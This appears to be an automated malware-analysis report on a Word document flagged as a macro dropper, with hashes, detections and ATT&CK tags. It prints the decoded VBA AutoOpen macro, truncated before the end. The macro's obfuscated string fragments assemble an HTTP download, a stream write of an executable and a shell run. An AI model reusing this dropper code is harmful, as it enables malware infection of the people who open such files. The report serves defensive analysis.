Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 31778a0d4262369c…

MALICIOUS

Office (OLE)

59.5 KB Created: 2016-08-18 05:14:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: 889c08434bc70f6fdf803c758bd4029d SHA-1: c1c24f340c20da74bb4609fc1e483103d0509bc4 SHA-256: 31778a0d4262369c0b4dd81b5646f46da2ece7921ea59814a95dc3e2f80bbcec
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen subroutine, indicating it is designed to execute automatically when the document is opened. The macro utilizes CreateObject, a common technique for launching malicious code, and heuristic analysis suggests it is a dropper. While the script is truncated, the presence of AutoOpen and CreateObject strongly suggests the intent to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6464600-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6464600-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5940 bytes
SHA-256: b82cfe6c2a2db2d8d24f0f9499f00fa53d404310453c77c7dffeb350ee8e6ec3
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim uzmuxr7, ansajmo, xeqwed7, eget, uqwijs
Dim anwox, gtircut, zyle5, avsepxuca0, fnymos1, ebqyw2, duswamy0, kokowitf8, ykrelte
Dim fyji6
Dim soqisesj8, hojekw9, bzimas, henehxa, erdutqurce, zbininx, cykfikyz2, upnudne0, ogxanj1
Dim isahwyj7, dyfyx, ciqyw4, qmirso, owafu6, qorufcavr, felypd8, umcimot, ljyxyvujk
Dim ldeclossoml, jojufwuwq6, glohilin, icizesq1, bopy7, jobsyhs4, uzmuwebg4, pfezonhu0, obubgy, cronhivlut
Dim ttyhiviqb, hbugux3, djuptoz2, eddifxonz0, afyhjaxe, anukq, ycginasy, zormov, akasqojm8, upnomuqva7, mgululna
Dim odubxynnu0, hdejhyrodc, xyrnopor, ofgenk, ufam6, ifuhfosj, dundigho0
Dim qagefod, ojove9, uqzuzu0, qsetpawqit, xiwqov, lcipqi2, ucvohi, qhisdynxikx, bcojwuxot5
Dim mecynpa4
Dim nhyhfiwjegw0
Dim ezupeho2, ifcutp0, redo, fwivofxuh6, ixotaw4, fyfow9, cvathuddyb, pkumlizog, qimta6, usadmo6
Dim ltenpinmab5, yxxixijo, nivuc, ubbahl5, nizxalkafb8, qbitbufiv4, mryjlotmul7, lroma, onnoszi0, vgesoke
Dim exopp9
Dim owyjzorsu0, ehmihu, bocsa8, zkumy0, ynebmetge8, yfyjurxi, icavw, hquwo0, wtosruj2, hujwe7
Dim iqzen9
Dim ydxytebru0, abjikopu9, uxabufa, xbedojneb1, penriqith0, igewuqa8, scymquptu, dsehpo7, umqyhrolj, ahylgepo
Dim sadyra
Dim yvcaxinlu8, etibvo0, ojix, ahholuz3, ivkifke2, ejiluv9
Dim ejmoqx4
Dim plybysco9
Dim mfumammumd, yvvudzisa2, koruqa, bbaqiwxagf1, aqpesy, pcaqhogs, nhugytmo
Dim kyjagli
dsehpo7 = "ew A"
ehmihu = "XMLH"
akasqojm8 = "seBo"
cykfikyz2 = "e(as"
ezupeho2 = " var"
hbugux3 = "fso "
iqzen9 = "dy);"
wtosruj2 = "();v"
fyfow9 = "lose"
hojekw9 = "49/e"
mgululna = "o.Ge"
bocsa8 = "run("
abjikopu9 = "ject"
bzimas = ";str"
ydxytebru0 = "var "
fwivofxuh6 = "aveT"
anukq = "eam."
exopp9 = "l"");"
icizesq1 = "= ne"
ofgenk = "osit"
cvathuddyb = "ing."
bbaqiwxagf1 = "GetT"
mryjlotmul7 = "empN"
kokowitf8 = "s.op"
yxxixijo = "ject"
mfumammumd = " ass"
ogxanj1 = "am.S"
qimta6 = "am.C"
jobsyhs4 = "s.Re"
felypd8 = "shel"
henehxa = "path"
xyrnopor = "XObj"
ojix = " = n"
qhisdynxikx = "t ("""
jojufwuwq6 = "ar c"
nivuc = "//93"
sadyra = "cmdr"
ojove9 = ".exe"
ubbahl5 = "am.P"
ixotaw4 = "en("""
uzij = "= fs"
plybysco9 = """ + "
zormov = "un, "
ivkifke2 = "cros"
duswamy0 = "p_pa"
obubgy = "ipt."
owafu6 = ".174"
aqpesy = "eam"""
dyfyx = "ype "
etibvo0 = "cial"
pcaqhogs = "ell."
yvcaxinlu8 = "eXOb"
yfyjurxi = "emOb"
owyjzorsu0 = "nd()"
odubxynnu0 = """);v"
vgesoke = "(""Mi"
afyhjaxe = ", ""h"
xeqwed7 = "s.se"
ejiluv9 = "stre"
hquwo0 = "er( "
ycginasy = "n = "
penriqith0 = "DODB"
soqisesj8 = "ion "
ciqyw4 = "ream"
dundigho0 = """cmd"
koruqa = "= 1;"
eget = "Fold"
fyji6 = "ath "
nizxalkafb8 = "File"
ebqyw2 = "ctiv"
qagefod = "Syst"
scymquptu = ".Str"
zyle5 = "ctiv"
ynebmetge8 = "tSpe"
uzmuxr7 = "r st"
pfezonhu0 = ");va"
cronhivlut = """, 0"
hujwe7 = "stre"
ahholuz3 = "= 0;"
xiwqov = "ame("
qsetpawqit = "tive"
ejmoqx4 = ".91."
umqyhrolj = "fso."
nhugytmo = "Writ"
xbedojneb1 = "; sh"
igewuqa8 = "ew A"
nhyhfiwjegw0 = "var "
ansajmo = ");as"
uqzuzu0 = "mp_p"
usadmo6 = "GET"""
umcimot = "Acti"
kyjagli = "th);"
ahylgepo = "l = "
fnymos1 = "e(tm"
anwox = "ect "
upnudne0 = " ""\\"
hdejhyrodc = "am.T"
ufam6 = ");as"
icavw = "Shel"
lroma = "n();"
yvvudzisa2 = "new "
avsepxuca0 = "stre"
djuptoz2 = "w Ac"
ifcutp0 = "mdru"
qbitbufiv4 = "ject"
bopy7 = "pted"
isahwyj7 = "oft."
pkumlizog = "ript"
uqwijs = ".Ope"
gtircut = ");st"
zbininx = "bjec"
lcipqi2 = " /c "
qorufcavr = "ncry"
qmirso = "eXOb"
eddifxonz0 = "tmp_"
ykrelte = """ + "
uxabufa = "stre"
ttyhiviqb = "WScr"
ljyxyvujk = "(""Sc"
ltenpinmab5 = "ttp:"
ldeclossoml = "oFil"
upnomuqva7 = "0); "
zkumy0 = " (""A"
bcojwuxot5 = "TTP"""
uzmuwebg4 = ".exe"
ucvohi = " = n"
erdutqurce = "2) +"
glohilin = "veXO"
onnoszi0 = "spon"
if
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.